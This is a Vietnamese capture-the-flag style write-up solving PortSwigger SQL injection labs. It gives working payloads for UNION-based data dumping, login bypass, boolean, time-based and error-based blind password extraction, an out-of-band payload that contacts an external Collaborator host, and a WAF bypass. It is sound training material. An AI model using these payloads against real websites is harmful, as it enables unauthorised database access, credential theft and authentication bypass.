# SQL Injection Portswigger writeup
## **Đôi nét về SQL Injection (SQLi)?**
#
SQLi là một lỗ hổng trên web mà attacker sẽ có thể tạo ra những query đến database của website đó. Lỗ hổng này sẽ làm những dữ liệu mà khó có thể xem được một cách bình thường trở nên bị leak.
Lỗ hổng này khá rộng. Nó có thể ảnh hưởng trực tiếp đến user data và cả web database nếu attack muốn (có thể thêm, xóa, sửa,...)
Nếu attacker có thể khai thác được SQLi thì có thể dẫn đến nhiều hệ lụy khôn lường. Ví dụ như dữ liệu bị lộ (tài khoản người dùng, thông tin cá nhân,...). Điều này trở nên hết sức phức tạp vì sẽ liên quan đến nhiều khía cạnh bảo mật trên môi trường Internet.

* **Những nguy hiểm của SQLi**
1. Truy cập trái phép vào dữ liệu nhạy cảm
1. Tổn thất tài chính
1. Điều khiển máy chủ cơ sở dữ liệu
1. Lộ cấu trúc của CSDL
1. Và còn nhiều vấn đề khác mà attacker có thể sử dụng để khai thác CSDL của bạn
* **Ví dụ về các lỗ hổng SQLi**
SQLi để lấy dữ liệu ẩn và phá vỡ logic website
SQLi UNION attack
Kiểm tra database với SQLi
Blind SQL Injection - Khi "người mù" tấn công website
Một số cách để nhận dạng lỗ hổng SQLi
# Cách phát hiện lỗ hổng sqli:
1. Kiểm tra dữ liệu đầu vào
2. Kiểm tra các thông báo lỗi từ máy chủ cơ sở dữ liệu hoặc ứng dụng web
3. Sử dụng công cụ tự động:OWASP,burpsuite,SQL Map...
4. Kiểm tra payload
# Tổng quan các lỗ hổng và các bài lab của SQLi
## SQLi để lấy dữ liệu ẩn và phá vỡ logic website.
### SQL injection vulnerability in WHERE clause allowing retrieval of hidden data.
Đường dẫn đến bài lab:https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
Bài lab này yêu cầu ta show ra tất cả sản phẩm trong khi hiển thị một category bất kỳ.


Đây là một trang web giới thiệu sản phẩm với câu lệnh được nêu ở đầu bài như sau
`SELECT * FROM products WHERE category = 'Tech+gifts' AND released = 1`
Ở câu lệnh trên lấy sản phẩm Tech+gifts và bị giới hạn bởi released = 1 nên không thể lấy được hết sản phẩm. Nên bài lab này cần chèn vào sql để show hết sảm phẩm ra.
Vậy làm cách nào để ta có thể chèn sql vào để tạo ra lỗ hổng. Ta sẽ sử dụng công cụ hỗ trợ burpsuite.

Có thể thấy đó là GET request đến `/filter?category=Tech+gifts.`
Như vậy để solve bài lab với mục tiêu liệt kê tất cả sản phẩm có trong database, ta chỉ cần truyền giá trị cho category là `Tech+gifts' or '1'='1' --` . Lúc này câu query trở thành:
`SELECT * FROM products WHERE category = 'Tech+gifts' or '1'='1' -- AND released = 1`
* `category = 'Tech+gifts' or '1'='1'` là điều kiện luôn đúng
* `-- AND released = 1`: phần sau đã bị comment
Gửi request với tham số `category=Tech+gifts' or '1'='1' --` , ta đã solve được challenge.


---
### SQL injection vulnerability allowing login bypass
Đây là dạng bài sử dụng SQLi để bypass authentication. Trong bài lab này sử dụng câu query sau để xác thực xem tài khoản có tồn tại không.

Để khai thác các chủng lỗi Injection ta cần tìm cách nối dài các instruction nhằm mục đích kiểm soát được hành vi của chương trình, cụ thể trong trường hợp này chính là câu SQL query.
Có 2 cách để làm bài này:
1. Chúng Ta sẽ sử dụng dấu ' để break ra câu query hiện tại và sử dụng – để comment phần đằng sau của câu
```
1. administrator '--
1. administrator '#
```
2. Chúng sẽ không sử dụng đoạn ghi chú mà sử dụng các toán tử logic như OR để khiến câu query trả về thành True
Trong MySQL thứ tự so sánh là AND sẽ trước OR vậy nên nếu chúng ta dùng phép AND để AND với 1 cái không phải username sau đó mới dùng kết quả đó OR với username thì có phải username đúng thì kết quả sẽ trả về TRUE và chúng ta sẽ vượt qua
Ví dụ: `
`
Trong câu lệnh thì sẽ thực hiện AND password và kết quả False của 1=2 sẽ tạo nên kết quả False nhưng khi OR với username là administrator có tồn tại thì chỉ cần 1 cái đúng vậy nên kết quả trả về TRUE
True OR False = True
Câu SQL query sẽ chạy thành công và trả về row administrator .


## SQL injection UNION attacks
* Cuộc tấn công SQL Injection (SQLi) sử dụng UNION là kỹ thuật chèn một câu lệnh UNION SELECT vào dữ liệu đầu vào của ứng dụng web để truy xuất hoặc thay đổi dữ liệu trong cơ sở dữ liệu.
### SQL injection UNION attack, determining the number of columns returned by the query

Bài lab này yêu cầu sử dụng UNION để chèn SQL để trả về một hàng bổ sung chỉ chứa giá trị null.
Tương tự như các bài lab trên, tham số category chính là nơi để khai thác sqli.
```
SELECT * FROM products WHERE category = 'Accessories'
```
Do không biết chính xác bài lab có bao nhiêu cột nên ta chèn câu lệnh UNION vào để check xem có bao nhiêu cột tất cả và solve bài lab.
Ta sẽ dùng câu lệnh sau
`SELECT name, price FROM product WHERE category = 'Accessories'+UNION+SELECT+NULL --`
Ta thử select 1 cột:

Select 2 cột:`SELECT name, price FROM product WHERE category = 'Accessories'+UNION+SELECT+NULL,NULL --`

Select 3 cột:`SELECT name, price FROM product WHERE category = 'Accessories'+UNION+SELECT+NULL,NULL,NULL --`

Lúc này ta xác định được là 3 cột và solve bài lab.
### SQL injection UNION attack, finding a column containing text

Bài lab này tương tự bài lab trên, chỉ khác là thay vì hiển thị hàng chứa giá trị null thì sử dụng UNION để hiển thị chuỗi bất kì, cụ thể là yNBXRx. Số cột trả về là 3 và ta cần tìm xem cột nào trong 3 cột đó sẽ được hiển thị.
Ta sử dụng payload: `Accessories' UNION SELECT 'cNZciC', null, null -- -`

Ta thử cho chuỗi 'cNZciC' vào cột đầu tiên nhưng không được nên ta tiếp tục thử sang cột thử hai bằng payload `Accessories' UNION SELECT null, 'cNZciC', null -- -`

Thật may mắn là ta đã solve bài lab =)))
### SQL injection UNION attack, retrieving data from other tables

Ở bài lab này cho ta biết có bảng database là users với 2 cột là username và password. Yêu cầu ta dùng UNION tấn công để lấy dữ liệu của tài khoản administrator từ bảng users rồi đăng nhập. Đầu tiên thì vẫn phải thử xem câu lệnh sql của trang web hiện tại truy vấn bao nhiêu cột bằng câu lệnh UNION và ta có payload như sau:
```
'+UNION+SELECT+NULL,NULL --
```

Như vậy xác định được có hai cột và ta chèn payload sau là done bài
`'UNION+SELECT+username,+password+FROM+users+WHERE+username='administrator' -- `

Database trả về password và ta đăng nhập vào hệ thống là solve lab

---
### SQL injection UNION attack, retrieving multiple values in a single column
Ở lab này vẫn giống lab trước, cho biết bảng cơ sở dữ liệu có tên users và 2 cột của bảng là `username` và `password`. Yêu cầu sử dụng UNION để tấn công lấy danh sách trong bảng users và đăng nhập tài khoản người dùng `administrator`.Và ta sẽ kiểm tra bài lab này select bao nhiêu cột bằng payload giống như bài lab trên

Ta phát hiện rằng bài lab này trả về là 2 cột vậy ta dùng payload để lấy dữ liệu administrator từ bài lab trên:
`'UNION+SELECT+username,+password+FROM+users+WHERE+username='administrator' -- `

Ohh server báo lỗi vậy thì ta có thể suy nghĩ đến việc một trong hai cột không phải là chuỗi vậy ta thử xem cột nào không phải là chuỗi.
Payload:
```
'UNION SELECT NULL, password FROM users --
```

Hmm khó rồi đây và ta đọc hint từ SQL injection cheat sheet. Ta tìm thấy một cách đó chính là String concatenation(Nối chuỗi) và ta tìm được payload sau:
`' UNION SELECT null,username||','||password from users --`
Lúc này các cột username và password được trả về cùng lúc và ngăn cách bởi dấu ,.

Chương trình trả về tất cả danh sách trong bảng users và việc bây giờ cần làm là đăng nhập tài khoản administrator và solve lab

## Kiểm tra database với SQLi
* Khi tấn công SQLi, chúng ta cần phải biết những thông tin cơ bản về website, database để có được những chiến lược cụ thể như cách tiếp cận, syntax,.... Những bài lab dưới đây sẽ minh họa điều này.
### SQL injection attack, querying the database type and version on Oracle

Đề bài yêu cầu ta đi tìm version của Oracle database. Ta có bảng cheatsheet sau:

Đầu tiên ta phải đi tìm xem trang web select bao nhiêu cột và kiểm tra xem luôn cột nào trả về chuỗi.
Payload:`'UNION+SELECT+NULL+FROM+v$version--`

Có thể thấy rằng trang web select 2 cột và cả 2 cột đều trả về chuỗi.

Trong oracle database banner thường được sử dụng để hiển thị thông tin về phiên bản của cơ sở dữ liệu hoặc thông tin khác liên quan đến hệ thống vậy payload để solve bài lab này là:`'UNION SELECT banner,'b' FROM v$version --`

### SQL injection attack, querying the database type and version on MySQL and Microsoft

Bài lab này yêu cầu tương tự như bài lab trên nhưng lần này là lấy phiên bản CSDL và version của MySQL và Microsoft.
Như thường lệ ta kiểm tra xem trang web trả về bao nhiêu cột và cột nào định dạng là chuỗi.
Payload:`'UNION SELECT 'a','b' -- a`

Ta thấy cả trang web trả về 2 cột và cả 2 cột đều có định dạng là chuỗi. Bây giờ ta chỉ cần select phiên bản vào các cột bất kì là solve lab.
Payload:`'UNION SELECT @@version,NULL -- a`

### SQL injection attack, listing the database contents on non-Oracle databases
Bài này lab yêu cầu sử dụng UNION khai thác để tìm được thông tin tài khoản administrator để đăng nhập. Bài này không cho thông tin database nên phải tự đi kiếm. Đầu tiên thì cứ thử xem trang web đang select bao nhiêu cột và cột nào định dạng chuỗi.

Ok vậy là trang web select 2 cột và cả 2 cột đều có định dạng là chuỗi, tiếp theo ta thử "mò" xem trang web này sử dụng version gì nhé.

Sau khi kiểm tra xong ta phát hiện ra đây là PostgreSQL. Sau khi biết đây là PostgreSQL thì ta sẽ tìm kiếm tất cả tên các bảng có trong database thông qua `information_schema`. Sử dụng payload sau: `a' UNION SELECT table_name, 'b' from information_schema.tables -- `.

Sau khi thực hiện câu lệnh thì có 1 bảng rất khả nghi là `users_arkhvo` và ta sẽ đi tìm tên của các cột có trong bảng này bằng payload:`'UNION SELECT column_name,'b' FROM information_schema.columns WHERE table_name='users_arkhvo' -- a`

Dựa vào hình trên có thể thấy được 2 cột có trong bảng users_occukb. Thực thi payload sau, ta sẽ liệt kê được các tài khoản có trong nó: `' UNION SELECT username_rlfnmk, password_dkdumc from users_arkhvo -- a`.

```
administrator
icc3dmsdcuiuhmq3l1yk
Đây là tài khoản và mật khẩu để bypass bài lab này
```

---
### SQL injection attack, listing the database contents on Oracle

Đề bài bài lab này yêu cầu tương tự như bài lab trên chỉ khác là ta sẽ thực hiện tấn công SQLi đối với Oracle database. Tương tự, ta cũng xác định được số cột và chuỗi trả về của câu query là 2.

Giờ ta sẽ dùng payload:`' UNION SELECT NULL, table_name FROM all_tables -- a`

Vì tìm kiếm users nên ta thấy bảng `USERS_VVWLTR` là rất khả nghi nên ta sẽ truy vấn vào dữ liệu của bảng này bằng payload:`'UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_VVWLTR' -- -`
Ta tìm được tên cột `PASSWORD_IJUXMB` và `USERNAME_XIYVBR` sau đó ta tiếp tục truy vấn vào 2 cột này và lấy ra dữ liệu bên trong 2 cột đó bằng payload: `'UNION SELECT username_xiyvbr,password_ijuxmb FROM USERS_VVWLTR -- -`

```
administrator
88hcyqs8orlqksibxph7
```
Ta login vào và bypass lab

## Blind SQL injection
* Blind SQL Injection (Blind SQLi) là một loại tấn công SQL Injection mà trong đó kẻ tấn công không thể thấy trực tiếp kết quả của các truy vấn SQL do ứng dụng web thực hiện. Thay vì nhận được các lỗi hoặc dữ liệu trực tiếp từ cơ sở dữ liệu, kẻ tấn công phải suy luận thông tin dựa trên các hành vi khác của ứng dụng, chẳng hạn như thời gian phản hồi, thay đổi trong trang web, hoặc các thông báo lỗi gián tiếp.
### Blind SQL injecion with conditional responses

Bài lab này được thiết kế để ta attack bằng phương pháp Blind SQLi. Nó chứa một trường tracking cookie để phân tích và kiểm soát cookie người dùng. Bên cạnh đó, lab yêu cầu sử dụng Boolean-based để lấy được tài khoản và khi mình query đúng thì nó sẽ trả về chuỗi "Welcome back". Bên cạnh đó, nó chứa một bảng users với 2 cột là username và password. Lab yêu cầu ta chiếm quyền kiểm soát administrator.
Hướng giải quyết bài lab này là ta sẽ sử dụng burpsuite và khi filter category=Accessories thì ta thấy 2 cookie là `TrackingId=Py12kXxNJYW3ispA` và `session=MhuBjGVX7LR16NNX7upUqiEetxntzwjz` ngoài ra trang web trả về Welcome back! vậy chứng tỏ một điều rằng trường TrackingId này có tồn tại trong database và là đúng.

Tiếp theo ta sẽ kiểm tra xem câu truy vấn này có chèn thêm instruction vào để tận dụng khai thác mật khẩu của administator không bằng payload:'AND `'1'='2'-- -`

Có thể thấy rằng Welcome back! đã biến mất vậy ta có thể khai thác vào TrackingId để tìm password của user administator trong bản users nhưng làm cách nào để tìm được nên tôi nghĩ đến cách thử tìm độ dài của mật khẩu rồi dùng bruteforce dò mật khẩu theo từng kí tự một.
Payload: `' AND (SELECT 'A' FROM users WHERE username = 'administrator' AND LENGTH(password) > 1) = 'A'--+-`
Câu payload trên nếu mật khẩu >1 thì câu Welcome back! sẽ hiển thị và ta chỉ cần check đến khi nào không còn thông báo câu Welcome back! nữa thì thôi.

Check đến password>20 thì Welcome back! không hiển thị vậy chứng tỏ mật khẩu có độ dài là 20 và giờ chúng ta sẽ bruteforce.
Payload:`' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'administrator') = 'a'-- -`


Tại đây ta gửi qua intruder để xử lí

Sau khi brutce force xong ta có mật khẩu dài 20 ký tự `password=e7ob5zmzec9ep2qy5ktx` và giờ ta thử log in và administator xem có được không.

Hurayy vậy ta đã vượt qua bài lab.
### Blind SQL injection with time delays

Bài lab này yêu cầu ta khiến cho server bị delay trong vòng 10s.Ta sẽ thực hiện đi tìm hệ quản trị database mà ứng dụng sử dụng bằng cách thử các cách Time-based khác nhau của từng loại hệ quản trị.Ta sẽ kiểm tra bảng cheatsheet SQLi.Mình đã thử từng cho đến khi dùng syntax của PostgreSQL.

Payload: `'|| pg_sleep(10)-- -`

Ta đã solve thành công bài lab.
### Blind SQL injection with time delays and information retrieval
Ở bài lab này cho biết rằng câu lệnh sql không có kết quả trả về. Nhưng có thể chèn câu lệnh làm cho thời gian truy vấn lâu hơn từ đó có thể lấy được thông tin mà mình cần. Ngoài ra còn cho biết database có bảng users với hai cột là username và password. Để solve được bài lab này cần phải đăng nhập với người dùng có tên là administrator.

Bước đầu vẫn đi kiểm tra xem trang web đang sử dụng hệ thống nào.
Tại đây mình có chèn thêm đoạn payload: `'|| pg_sleep(10)`.

Sau vài lần thử thì thời gian phản hồi cho mình cũng khá lâu và việc thử các đoạn khác thì thời gian phản hồi vẫn nhanh nên chứng tỏ trang web đang sử dụng hệ thống PostgreSQL. Mình sẽ thêm đoạn payload như sau:`' || (select case when (username='administrator' and length(password) > 1) then pg_sleep(10) else pg_sleep(0) end from users)--+-`
Payload trên có nghĩa khi người dùng administrator có độ dài mật khẩu lớn hơn 1 thì thời gian thực hiện câu lệnh sẽ đợi 10s còn không thì sẽ phản hồi luôn. Tại đây mình sẽ cho thử khoảng từ 1 đến 30 xem sao:

Khi kiểm tra password có độ dài >20 thì thời gian thực hiện phản hồi rất nhanh nên ta có thể xác định được độ dài mật khẩu là 20 kí tự và giờ ta sẽ kiểm tra từng ký tự của password bằng payload:`' || (select case when (username='administrator' and substring(password,1,1) = 'a') then pg_sleep(10) else pg_sleep(0) end from users)--+-`

Sau khi sử dụng brute force xong ta đã có được mật khẩu của administrator.
```
password:e3rziqod0b1d5hrx37ug
```
Và giờ ta log in vào và solve bài lab thuii.

Tadaaaa
### Blind SQL injection with conditional errors

Bài lab này cũng có lỗ hổng Blind SQLi ở trường TrackingID tại Cookie. Tuy nhiên, bài lab sẽ không sử dụng Boolean-based như bài trên mà sẽ là Error-based để trigger lỗi được custom bởi ứng dụng web hiểu nôm na là lab trước ta dựa vào website trả về 'Welcome back!' để tìm ra password thì ở lab này ta sẽ phải dựa vào lỗi phản hồi để có thể tìm ra password.

Trước tiên ta thử tìm xem số cột trả về và kiểm tra luôn cột trả về có phải là chuỗi hay không
Payload: `' UNION SELECT null --`

Ta thấy server báo lỗi, hmmm vậy thì đây có thể là lỗi do hệ quản trị database Oracle vì nó cần SELECT từ một table tồn tại. Ta kiểm tra lại xem có đúng không nhé.

Ngoài ra ta còn xác định cột trả về có kiểu dữ liệu chuỗi.

Bây giờ ta sẽ đi tìm password cho user administrator bằng phương pháp Error-based nhưng bằng cách nào.
Sau khi research thì mình tìm thấy một payload: `' UNION SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual-- -`
Ở payload này nếu điều kiện sau When đúng thì server thực thi TO_CHAR(1/0) và server sẽ trả lỗi do 1 không thể nào chia được cho 0, ở đây ta dùng TO_CHAR vì cột trả về có kiểu dữ liệu là chuỗi

Nếu điều kiện When sai thì server không trả lỗi

Như vậy ta chỉ cần tìm điều kiện đúng liên quan đến password thì server sẽ trả về lỗi.
Tương tự như bài trên ta đi tìm độ dài của password rồi brute force để tìm được password của administrator.
Payload:`' UNION SELECT CASE WHEN (LENGTH(password)=§0§) THEN TO_CHAR(1/0) ELSE '' END FROM users Where username='administrator'`

Kết quả với độ dài password là 20 thì server báo lỗi Error 500. Bây giờ ta sẽ đi brute force từng kí tự của password bằng hàm substr().
Payload: `'UNION SELECT CASE WHEN(SUBSTR(password,1,1)='a') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator'`

Thu thập tất cả response trả lỗi 500 và sắp xếp ta có được `password:895ohukoslwhia4x0c0z` ta login vào và solve lab.

### Blind SQL injection with out-of-band interaction

Bài lab này tiếp tục yêu cầu ta khai thác vào lỗ hổng TrackingId để thực hiện tra cứu DNS.
Đầu tiên ta sử dụng burp suite để chặn và sửa yêu cầu chứa cookie TrackingId.
Tiếp theo, ta sẽ tiến hành đi tra cứu DNS ở trên SQLi cheatsheet

Vì không biết trang web sử dụng loại database nào nên ta tiến hành thử nghiệm từng cái một.
Payload:`' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://5v1u1rfp1ovsqtlpzf9zxdkah1nsbkz9.oastify.com/"> %remote;]>'),'/l') FROM dual--`

May mắn trong lần thử đầu tiên ta đã biết được loại database của trang web là: Oracle và đa tra cứu DNS thành công

## SQL injection with filter bypass via XML encoding

Bài lab này chứa lỗ hổng SQLi ở stock check.Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng, do đó có thể sử dụng tấn công UNION để truy xuất dữ liệu từ các bảng khác.Bài lab yêu cầu ta tấn công vào lỗ hổng để lấy tài khoản administrator sau đó login.
Ta biết được rằng trang web chứa lỗ hổng ở check stock

Khi click Check stock, ta thấy code XML chứa productID và storeID sẽ gửi truy vấn đến web, và web sẽ trả vể số lượng hàng còn lại của sản phẩm này.
Tuy nhiên, nếu tham số này không được mã hóa, ta có thể tận dụng để truy xuất nội dung từ DB.Tiếp theo ta xác định số cột được trả về bằng payload:`'UNION SELECT NULL --`

Thật không may là đã bị chặn bởi WAF. Hmm giờ thử research cách vượt qua WAF thì mình tìm ra được là:

Nôm na thì để bypass WAF thì ta sử dụng extension Hackvetor. Tool này dùng để mã hóa dữ liệu dưới dạng: rot13,base64,hex,...
Ở đây ta sẽ encode truy vấn sử dụng hex_entities

Payload: `UNION SELECT NULL --` đây là câu truy vấn `'UNION SELECT NULL --` sau khi mã hóa hex_entities.Dựa theo kết quả trên trả về một cột, giờ ta cần lấy ra password và username mà chỉ có một cột thì sẽ phải dùng đến phép nối chuỗi ||.
Payload: `'UNION SELECT username || ',' ||password FROM users --`.

Ta thấy các tài khoản được trả về với `administrator,trt57ys5w3tt8ao7jvre` giờ login vào là solve lab
